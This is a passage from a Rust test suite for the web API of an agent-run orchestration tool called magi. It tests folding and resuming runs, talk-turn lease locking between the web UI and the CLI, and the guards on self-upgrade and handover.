        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
        assert_eq!(res.status, 200);
        assert_eq!(res.json()["removed_count"], 0);
        assert_eq!(res.json()["run"], id);
        assert!(
            runs.join(id).exists(),
            "a fold keeps the run's record; only the worktrees go"
        );
    }

    #[tokio::test]
    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
        let fx = Fixture::start().await;
        let runs = fx.runs();
        let wt = fx.home.path().join("wt").join("magi").join("dead");
        let id = "20260901-000000-dead";
        std::fs::create_dir_all(runs.join(id)).expect("run dir");
        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
        std::fs::create_dir_all(&wt).expect("worktree dir");

        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
        assert_eq!(res.status, 200, "{}", res.body);
        assert!(
            res.json()["removed_count"].as_u64().unwrap() > 0,
            "the worktree this build could not read a state for still went"
        );
        assert!(
            !runs.join(id).exists(),
            "an unreadable run has no candidate list to fold selectively, so \
             the whole record goes - same as `magi fold` on the CLI"
        );
    }

    #[tokio::test]
    async fn deleting_an_unreadable_run_removes_it_wholesale() {
        let fx = Fixture::start().await;
        let runs = fx.runs();
        let wt = fx.home.path().join("wt").join("magi").join("gone");
        let id = "20260901-000000-gone";
        std::fs::create_dir_all(runs.join(id)).expect("run dir");
        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
        std::fs::create_dir_all(&wt).expect("worktree dir");

        let res = fx.delete(&format!("/api/runs/{id}")).await;
        assert_eq!(res.status, 204, "{}", res.body);
        assert!(!runs.join(id).exists(), "the broken record is gone");
        assert!(!wt.exists(), "its worktree is gone too");
    }

    #[tokio::test]
    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
        let fx = Fixture::start().await;
        let runs = fx.runs();
        let id = "20260901-000000-live";
        write_run(&runs, id, RunStatus::Implementing);

        let mut beat = crate::daemon::Status::new();
        beat.current = vec![crate::daemon::Current {
            task: "20260901-000000-task".to_owned(),
            run: id.to_owned(),
        }];
        beat.updated_at = jiff::Timestamp::now();
        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
            .expect("publish a heartbeat");

        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
        assert_eq!(res.status, 409);
        assert!(
            res.json()["error"]
                .as_str()
                .unwrap()
                .contains("live daemon"),
            "folding under a running agent would pull its worktree away"
        );
    }

    #[tokio::test]
    async fn fold_merged_requires_a_pr_url() {
        let fx = Fixture::start().await;
        let runs = fx.runs();
        let id = "20260901-000000-nourl";
        write_run(&runs, id, RunStatus::Blocked);

        let res = fx
            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
            .await;
        assert_eq!(res.status, 400, "{}", res.body);

        let blank = fx
            .post(
                &format!("/api/runs/{id}/fold-merged"),
                Some(r#"{"pr_url":"   "}"#),
            )
            .await;
        assert_eq!(blank.status, 400, "{}", blank.body);
    }

    #[tokio::test]
    async fn fold_merged_is_404_for_an_unknown_run() {
        let fx = Fixture::start().await;
        let res = fx
            .post(
                "/api/runs/nosuchrun/fold-merged",
                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
            )
            .await;
        assert_eq!(res.status, 404, "{}", res.body);
    }

    #[tokio::test]
    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
        let fx = Fixture::start().await;
        let runs = fx.runs();
        let id = "20260901-000000-livemerge";
        write_run(&runs, id, RunStatus::Blocked);

        let mut beat = crate::daemon::Status::new();
        beat.current = vec![crate::daemon::Current {
            task: "20260901-000000-task".to_owned(),
            run: id.to_owned(),
        }];
        beat.updated_at = jiff::Timestamp::now();
        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
            .expect("publish a heartbeat");

        let res = fx
            .post(
                &format!("/api/runs/{id}/fold-merged"),
                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
            )
            .await;
        assert_eq!(res.status, 409, "{}", res.body);
        assert!(
            res.json()["error"]
                .as_str()
                .unwrap()
                .contains("live daemon"),
            "correcting a run's merge underneath a running agent would race \
             whatever it is doing to the same `status`/`merge` fields"
        );
    }

    /// A pull request `gh` cannot even ask about (no such remote, no such
    /// repository) must never be recorded as a merge on a guess - the same
    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
    /// command line, reached here through the phone route instead.
    #[tokio::test]
    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
        let fx = Fixture::start().await;
        let runs = fx.runs();
        let id = "20260901-000000-unconfirmed";
        write_run(&runs, id, RunStatus::Blocked);

        let res = fx
            .post(
                &format!("/api/runs/{id}/fold-merged"),
                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
            )
            .await;
        assert_eq!(res.status, 400, "{}", res.body);
        assert_eq!(
            read_run(&runs, id).unwrap().status,
            RunStatus::Blocked,
            "a pull request that could not be confirmed merged must leave \
             the run exactly where it was"
        );
    }

    #[tokio::test]
    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
        let fx = Fixture::start().await;
        let runs = fx.runs();

        // Only a finished run and a failed one. An *interrupted* run - a
        // parked one, or one whose daemon was killed mid-node - is the case
        // resuming exists for: run 4043 sat at `reviewing` with the deck
        // saying it could not be resumed, which was the one state where
        // resuming was the only sensible answer.
        for (status, word) in [
            (RunStatus::Merged, "merged"),
            (RunStatus::Ready, "ready"),
            (RunStatus::Failed, "failed"),
        ] {
            let id = format!("20260901-000000-{}", &word[..4]);
            write_run(&runs, &id, status);
            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
            assert_eq!(res.status, 409, "{word} must not be resumable");
            let err = res.json()["error"].as_str().unwrap().to_owned();
            assert!(err.contains(word), "the refusal names the status: {err}");
        }

        // And an interrupted run is accepted: 202, with the resume running in
        // the background. `Runner::resume` fails immediately here - the
        // fixture's run points at a repository that does not exist - which is
        // the point: the handler must not wait for it to find out.
        let mid = "20260901-000000-midf";
        write_run(&runs, mid, RunStatus::Reviewing);
        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
        assert_eq!(res.status, 202, "an interrupted run is resumable");
    }

    #[tokio::test]
    async fn resume_is_refused_while_the_loop_is_running() {
        let fx = Fixture::start().await;
        let runs = fx.runs();
        let stalled = "20260901-000000-stal";
        write_run(&runs, stalled, RunStatus::Stalled);

        // The loop is busy with a *different* run, and that is still a
        // refusal: a manual resume must never race whatever the loop itself
        // is already driving, whether that is one run or several.
        let mut beat = crate::daemon::Status::new();
        beat.current = vec![crate::daemon::Current {
            task: "20260901-000000-task".to_owned(),
            run: "20260901-000000-othr".to_owned(),
        }];
        beat.updated_at = jiff::Timestamp::now();
        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
            .expect("publish a heartbeat");

        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
        assert_eq!(res.status, 409);
        let err = res.json()["error"].as_str().unwrap().to_owned();
        assert!(err.contains("othr"), "it names what the loop is on: {err}");
        assert!(err.contains("stop it first"), "{err}");
    }

    #[test]
    fn a_run_cannot_be_resumed_twice_at_once() {
        let home = TempDir::new().expect("temp home");
        let ui = Ui::new(
            Queue::at(home.path().join("queue")),
            Questions::at(home.path().join("questions")),
            Talks::at(home.path().join("talks")),
            home.path().join("runs"),
            home.path().to_path_buf(),
            PathBuf::from("/repo"),
        )
        .with_worktrees_root(home.path().join("wt"));
        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
        let again = ui.begin_resume("20260901-000000-once");
        assert!(again.is_err(), "a second tap must not start a second graph");
        drop(first);
        assert!(
            ui.begin_resume("20260901-000000-once").is_ok(),
            "and the claim is released when the attempt ends"
        );
    }

    #[test]
    fn talk_thinking_tracks_only_its_held_turn_claim() {
        let home = TempDir::new().expect("temp home");
        let ui = Ui::new(
            Queue::at(home.path().join("queue")),
            Questions::at(home.path().join("questions")),
            Talks::at(home.path().join("talks")),
            home.path().join("runs"),
            home.path().to_path_buf(),
            PathBuf::from("/repo"),
        )
        .with_worktrees_root(home.path().join("wt"));
        let id = "20260901-000000-once";

        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
        let turn = ui.begin_talk_turn(id).expect("claim turn");
        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
        assert!(
            !ui.is_thinking("20260901-000000-other"),
            "one talk's turn does not make another talk busy"
        );
        drop(turn);
        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
    }

    #[test]
    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
        let home = TempDir::new().expect("temp home");
        let talks = Talks::at(home.path().join("talks"));
        let ui = Ui::new(
            Queue::at(home.path().join("queue")),
            Questions::at(home.path().join("questions")),
            talks.clone(),
            home.path().join("runs"),
            home.path().to_path_buf(),
            PathBuf::from("/repo"),
        )
        .with_worktrees_root(home.path().join("wt"));
        let id = "20260901-000000-cross";

        let other = Talks::at(home.path().join("talks"))
            .claim_turn(id)
            .expect("claim")
            .expect("the other process wins");
        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
        assert!(
            matches!(
                ui.begin_talk_turn_unless_pending(id).expect("start"),
                TalkTurnStart::Foreign
            ),
            "a foreign holder is refused, not queued behind"
        );
        assert!(
            !ui.talk_turns.lock().unwrap().live.contains(id),
            "a refused claim leaves no in-process entry behind"
        );
        drop(other);
        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
        assert!(talks.turn_held(id), "the web turn holds the lease");
        drop(turn);
        assert!(
            !talks.turn_held(id),
            "dropping the guard releases the lease"
        );
    }

    fn consult_question(ui: &Ui) -> Question {
        let mut q = Question::new(
            "20260901-000000-consult".to_owned(),
            "implement".to_owned(),
            "impl-A".to_owned(),
            "Which backend?".to_owned(),
            String::new(),
            vec!["SQLite".to_owned(), "Redis".to_owned()],
        );
        ui.questions.put(&mut q).expect("question");
        q
    }

    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
        (
            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
        )
    }

    #[tokio::test]
    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
        let q = consult_question(&ui);
        let talk = ui.talks.get(&id).expect("talk");
        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
        let before = consult_snapshot(&ui, &q, &id);
        let cli_talks = Talks::at(ui.home.join("talks"));
        assert_eq!(
            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
                .await
                .expect("CLI starter"),
            crate::consult::Started::Busy
        );
        assert_eq!(consult_snapshot(&ui, &q, &id), before);
        assert!(ui.is_thinking(&id));
        drop(guard);
        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
    }

    #[tokio::test]
    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
        let q = consult_question(&ui);
        let talk = ui.talks.get(&id).expect("talk");
        let started = tmp.path().join("started");
        let release = tmp.path().join("release");
        let script = tmp.path().join("consult-agent.sh");
        std::fs::write(
            &script,
            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
        )
        .expect("script");
        let mut cfg = stub_config();
        cfg.agents[0].id = "mock".to_owned();
        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
        cfg.agents[0].env = std::collections::BTreeMap::from([
            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
        ]);
        let questions = ui.questions.clone();
        let cli_talks = Talks::at(ui.home.join("talks"));
        let cli_q = q.clone();
        let turn = tokio::spawn(async move {
            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
        });
        let ready = tokio::time::timeout(Duration::from_secs(30), async {
            while !started.exists() {
                tokio::time::sleep(Duration::from_millis(10)).await;
            }
        })
        .await;
        // Always release and join the agent, even if readiness or the web
        // request fails, so a failed assertion cannot leave a turn behind.
        let refusal = if ready.is_ok() {
            let before = consult_snapshot(&ui, &q, &id);
            let result = talk_say(
                State(Arc::clone(&ui)),
                Path(id.clone()),
                Ok(Json(NewTalkTurn {
                    reply_to: None,
                    text: "another message".to_owned(),
                    attachments: Vec::new(),
                })),
            )
            .await;
            Some((result, before, consult_snapshot(&ui, &q, &id)))
        } else {
            None
        };
        std::fs::write(&release, "").expect("release agent");
        let done = turn.await.expect("join CLI turn");
        ready.expect("agent started before deadline");
        let (result, before, after) = refusal.expect("web request");
        let error = result.expect_err("web must refuse the CLI's turn");
        assert_eq!(error.status, StatusCode::CONFLICT);
        assert!(error.message.contains("a turn is already running"));
        assert_eq!(
            after, before,
            "refusal preserves question, draft and history"
        );
        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
        let guard = ui
            .begin_talk_turn(&id)
            .expect("web claim")
            .expect("free again");
        drop(guard);
    }

    #[test]
    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
        let home = TempDir::new().expect("temp home");
        let talks = Talks::at(home.path().join("talks"));
        let ui = Ui::new(
            Queue::at(home.path().join("queue")),
            Questions::at(home.path().join("questions")),
            talks.clone(),
            home.path().join("runs"),
            home.path().to_path_buf(),
            PathBuf::from("/repo"),
        )
        .with_worktrees_root(home.path().join("wt"));
        let id = "20260901-000000-order";
        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
        // Hold the slot mutex so the drop can finish the lease but not the slot.
        let slots = ui.talk_turns.lock().unwrap();
        let dropper = std::thread::spawn(move || drop(turn));
        let start = std::time::Instant::now();
        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
            std::thread::sleep(Duration::from_millis(5));
        }
        assert!(!talks.turn_held(id), "the lease is released first");
        assert!(slots.live.contains(id), "the slot is still held meanwhile");
        drop(slots);
        dropper.join().expect("join");
        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
    }

    #[tokio::test]
    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
        let fx = Fixture::start().await;
        // Somebody else's `magi serve` owns the queue. Replacing this binary
        // would leave that process running an old one against the same
        // claims, which is worse than refusing.
        let mut beat = crate::daemon::Status::new();
        beat.pid = 4321;
        beat.updated_at = jiff::Timestamp::now();
        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
            .expect("publish a heartbeat");

        let res = fx.post("/api/upgrade", None).await;
        assert_eq!(res.status, 409);
        let err = res.json()["error"].as_str().unwrap().to_owned();
        assert!(err.contains("4321"), "the refusal names the owner: {err}");
        assert!(err.contains("old one against the same queue"), "{err}");
    }

    /// [`should_spawn_recheck`] must refuse for the same two reasons
    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
    /// Purely a predicate over config and the environment - no network, no
    /// disk, no runtime - so unlike the fixture-based tests around it this
    /// one needs neither.
    #[test]
    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
        assert!(!should_spawn_recheck(&crate::config::Update {
            mode: UpdateMode::Off,
            interval: None,
        }));

        // SAFETY: single-threaded as far as this variable goes, the same
        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
        unsafe {
            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
        }
        let killed = should_spawn_recheck(&crate::config::Update {
            mode: UpdateMode::Notify,
            interval: None,
        });
        unsafe {
            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
        }
        assert!(
            !killed,
            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
             one-time startup check"
        );

        assert!(should_spawn_recheck(&crate::config::Update {
            mode: UpdateMode::Notify,
            interval: None,
        }));
    }

    /// [`recheck_poll_period`] must track a configured `[update] interval`
    /// shorter than its own default ceiling - a fixed sleep here would leave
    /// an operator's short interval waiting on the next wake-up instead of on
    /// `should_check`, which is the same bug this whole task exists to fix,
    /// just one level down.
    #[test]
    fn recheck_poll_period_tracks_a_short_configured_interval() {
        let short = crate::config::Update {
            mode: UpdateMode::Notify,
            interval: Some("1m".to_owned()),
        };
        let period = recheck_poll_period(&short);
        assert!(
            period <= Duration::from_secs(30),
            "a one-minute interval must wake the task far sooner than the \
             default ceiling, or the deck would not notice within the \
             interval the operator configured: got {period:?}"
        );

        let default = crate::config::Update {
            mode: UpdateMode::Notify,
            interval: None,
        };
        assert_eq!(
            recheck_poll_period(&default),
            UPDATE_RECHECK_POLL_MAX,
            "the default day-long interval should poll at the (capped) \
             ceiling rather than needlessly often"
        );
    }

    /// [`update_recheck_due`] must not repeat a check made moments ago, the
    /// same throttle `updater::Checker::should_check` already gives the
    /// CLI's notify mode. Built over an explicit state file via
    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
    /// write the operator's real `last_update_check.json` - and therefore
    /// cannot flake on whatever that file happens to say on the machine
    /// running the test.
    #[test]
    fn recheck_skips_the_network_before_the_interval_elapses() {
        let dir = TempDir::new().expect("temp dir");
        let path = dir.path().join("state.json");
        let state = kaishin::UpdateCheckState {
            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
            last_known_latest: None,
            last_known_url: None,
        };
        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");

        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
        assert!(
            !update_recheck_due(&checker, None),
            "a check made moments ago must not be repeated before the \
             configured interval elapses"
        );
    }

    /// An upgrade this deck already started must not be raced by a recheck
    /// that discovers a newer release mid-install - regardless of what
    /// `should_check` says, which is why the state file here is missing
    /// entirely: read alone, that alone would answer "never checked, go
    /// ahead".
    #[test]
    fn recheck_defers_to_an_upgrade_already_in_flight() {
        let dir = TempDir::new().expect("temp dir");
        let path = dir.path().join("state.json");
        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());

        assert!(
            !update_recheck_due(&checker, Some(&progress)),
            "a recheck must not run while an upgrade this deck started is \
             still moving"
        );
    }

    #[tokio::test]
    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
        // The same env var the background check honours (`disabled_by_env`)
        // must also stop a button press before it ever calls
        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
        // means "never contact GitHub from this process", and a tap on the
        // upgrade button must not override that any more than a broken
        // `magi.toml` may. Left unset, this fixture's default config would
        // otherwise reach a real, unauthenticated GitHub call.
        //
        // SAFETY: single-threaded as far as this variable goes - nothing else
        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
        unsafe {
            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
        }
        let fx = Fixture::start().await;
        let res = fx.post("/api/upgrade", None).await;
        unsafe {
            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
        }
        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
        let body = res.json();
        assert!(body["to"].is_null(), "there was no release to move to");
        assert!(body["parked"].is_null(), "and nothing was parked");
        assert!(
            body["detail"]
                .as_str()
                .unwrap()
                .contains("disabled by MAGI_NO_AUTOUPDATE"),
            "{body:?}"
        );
    }

    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
        p.stage = stage;
        p
    }

    #[test]
    fn busy_stages_match_the_ui_set() {
        use crate::updater::Stage;
        assert!(APP_JS.contains(
            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
        ));
        for s in [
            Stage::Downloading,
            Stage::Replaced,
            Stage::Parking,
            Stage::Restarting,
        ] {
            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
        }
        for s in [Stage::Done, Stage::Failed] {
            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
        }
        assert!(upgrade_in_motion(None).is_none());
    }

    #[tokio::test]
    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
        use crate::updater::Stage;
        for stage in [
            Stage::Downloading,
            Stage::Replaced,
            Stage::Parking,
            Stage::Restarting,
        ] {
            let fx = Fixture::start().await;
            let seeded = seeded_progress(stage);
            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
                .expect("read");

            let res = fx.post("/api/upgrade", None).await;
            assert_eq!(res.status, 409, "{stage:?}");
            let err = res.json()["error"].as_str().unwrap().to_owned();
            assert!(err.contains("already in progress"), "{err}");
            assert!(err.contains(stage.as_str()), "{err}");

            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
                .expect("read");
            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
                .unwrap_or_default();
            assert!(!log.contains("signalling HANDOVER"), "{log}");
        }
    }

    #[tokio::test]
    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
        use crate::updater::Stage;
        let repo = TempDir::new().expect("repo dir");
        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
            .expect("write magi.toml");
        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
        for stage in [Stage::Done, Stage::Failed] {
            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
            let res = fx.post("/api/upgrade", None).await;
            assert_eq!(res.status, 200, "{stage:?}");
        }
        // No record at all, and the gate was released by the earlier calls.
        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
    }

    #[tokio::test]
    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
        // and the route answers from its own logic.
        //
        // This test used to lean on the fixture's placeholder repo failing
        // config discovery, which left `mode = "notify"` - and a live,
        // unauthenticated call to the GitHub releases API inside a unit test.
        // GitHub allows 60 of those an hour per address, so the suite went red
        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
        // long as somebody kept re-running it: every attempt spent another
        // request. Six reruns across four pull requests were charged to that
        // before it was read as a rate limit rather than a flake.
        //
        // What the assertion is about is the "already current" branch, which
        // is reached by there being no newer release *or* nowhere to look. The
        // second one needs no network and cannot be rate limited.
        let repo = TempDir::new().expect("repo dir");
        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
            .expect("write magi.toml");
        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;

        // It must answer 200 and leave the process alone: restarting for an
        // upgrade that did not happen parks the run in flight and drops every
        // connection to pay for nothing. A probe against a deck already on the
        // newest build did exactly that, which is how this case got its own
        // branch.
        let res = fx.post("/api/upgrade", None).await;
        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
        let body = res.json();
        assert!(body["to"].is_null(), "there was no release to move to");
        assert!(body["parked"].is_null(), "and nothing was parked");
        assert!(
            body["detail"]
                .as_str()
                .unwrap()
                .contains("nothing restarted"),
            "{body:?}"
        );
    }

    #[tokio::test]
    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
        // `mode = "off"` for the same reason as the test above: a default
        // fixture repo falls back to `mode = "notify"`, which would make this
        // route's new `update` field a live, unauthenticated GitHub call on
        // every assertion in this suite that happens to hit `/api/health`.
        let repo = TempDir::new().expect("repo dir");
        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
            .expect("write magi.toml");
        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;

        let health = fx.get("/api/health").await.json();
        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
        assert_eq!(
            health["update"]["available"], false,
            "checking is off, which reads as \"unknown\", not \"none\""
        );
        assert!(health["update"]["to"].is_null());
        assert!(
            health["upgrade"].is_null(),
            "nothing has ever asked this deck to upgrade"
        );
    }

    #[tokio::test]
    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
        let fx = Fixture::start().await;
        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);

        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
        progress.parked_run = Some("20260905-000000-cd51".to_owned());
        progress.advance(crate::updater::Stage::Parking);
        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");

        let health = fx.get("/api/health").await.json();
        assert_eq!(health["upgrade"]["stage"], "parking");
        assert_eq!(health["upgrade"]["from"], "0.5.1");
        assert_eq!(health["upgrade"]["to"], "0.5.2");
        let waiting_on = health["upgrade"]["waiting_on"]
            .as_str()
            .expect("waiting_on is set while parking a known run");
        assert!(waiting_on.contains("cd51"), "{waiting_on}");
        assert!(waiting_on.contains("implementing"), "{waiting_on}");
    }

    #[tokio::test]
    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
        let fx = Fixture::start().await;
        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
        progress.advance(crate::updater::Stage::Done);
        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");

        let health = fx.get("/api/health").await.json();
        assert_eq!(health["upgrade"]["stage"], "done");
        assert!(
            health["upgrade"]["waiting_on"].is_null(),
            "nothing to wait on once it is done"
        );
    }

    #[tokio::test]
    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
        let home = TempDir::new().expect("temp home");
        let runs = home.path().join("runs");
        std::fs::create_dir_all(&runs).expect("runs dir");
        let ui = Ui::new(
            Queue::at(home.path().join("queue")),
            Questions::at(home.path().join("questions")),
            Talks::at(home.path().join("talks")),
            runs,
            home.path().to_path_buf(),
            PathBuf::from("/repo/magi"),
        )
        .with_launch(launch_idle);
        let looping = ui.looping();
        let turns = ui.turns();
        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
            .await
            .expect("bind loopback");
        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());

        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
        crate::updater::write_progress(home.path(), &progress).expect("seed progress");

        hand_over(
            home.path(),
            &looping,
            &turns,
            &|_: &[String]| Duration::from_secs(5),
            served,
            |_| Ok(1),
        )
        .await
        .expect("hand over");

        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
        assert_eq!(
            after.stage,
            crate::updater::Stage::Restarting,
            "hand_over owns the record through parking and up to restarting; \
             the successor is what finishes it"
        );
    }

    /// The successor is started exactly once on success, and exactly once on
    /// failure too (a failed start is reported, never retried).
    #[tokio::test]
    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
        for fail in [false, true] {
            let home = TempDir::new().expect("temp home");
            let ui = idle_ui(&home);
            let looping = ui.looping();
            let turns = ui.turns();
            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
                .await
                .expect("bind loopback");
            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
            crate::updater::write_progress(home.path(), &progress).expect("seed progress");

            let calls = std::sync::atomic::AtomicUsize::new(0);
            let outcome = hand_over(
                home.path(),
                &looping,
                &turns,
                &|_: &[String]| Duration::from_secs(5),
                served,
                |_| {
                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
                    if fail {
                        anyhow::bail!("no exec")
                    } else {
                        Ok(4242)
                    }
                },
            )
            .await;
            assert_eq!(outcome.is_err(), fail);
            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);

            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
                .expect("upgrade.log is written under the home");
            for step in [
                "entered",
                "finish_loop",
                "listener released",
                "starting the successor",
            ] {
                assert!(log.contains(step), "missing `{step}` in:\n{log}");
            }
            assert!(
                log.contains(if fail { "did not start" } else { "pid 4242" }),
                "{log}"
            );
        }
    }

    /// The handover signal is seen however the race falls, and wakes its one
    /// waiter once per signal - nothing here can spin.
    #[tokio::test]
    async fn the_handover_signal_wakes_one_waiter_once() {
        let signal = Notify::new();
        // Signalled before anyone waits: the stored permit is not lost.
        signal.notify_one();
        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
            .await
            .expect("an early signal is still seen");
        // One signal, one wake-up: a second wait does not resolve by itself.
        assert!(
            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
                .await
                .is_err(),
            "a consumed signal must not wake a second time"
        );
        // Signalled while waiting.
        let signal = std::sync::Arc::new(signal);
        let waiter = tokio::spawn({
            let signal = std::sync::Arc::clone(&signal);
            async move { wait_for_handover(&signal).await }
        });
        tokio::time::sleep(Duration::from_millis(20)).await;
        assert!(!waiter.is_finished(), "nothing was signalled yet");
        signal.notify_one();
        tokio::time::timeout(Duration::from_secs(5), waiter)
            .await
            .expect("a late signal wakes the waiter")
            .expect("join");
    }

    #[tokio::test]
    async fn health_says_how_long_a_handover_has_been_stuck() {
        let fx = Fixture::start().await;
        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
        progress.advance(crate::updater::Stage::Replaced);
        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");

        let health = fx.get("/api/health").await.json();
        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
        assert!(stuck >= 600, "{stuck}");
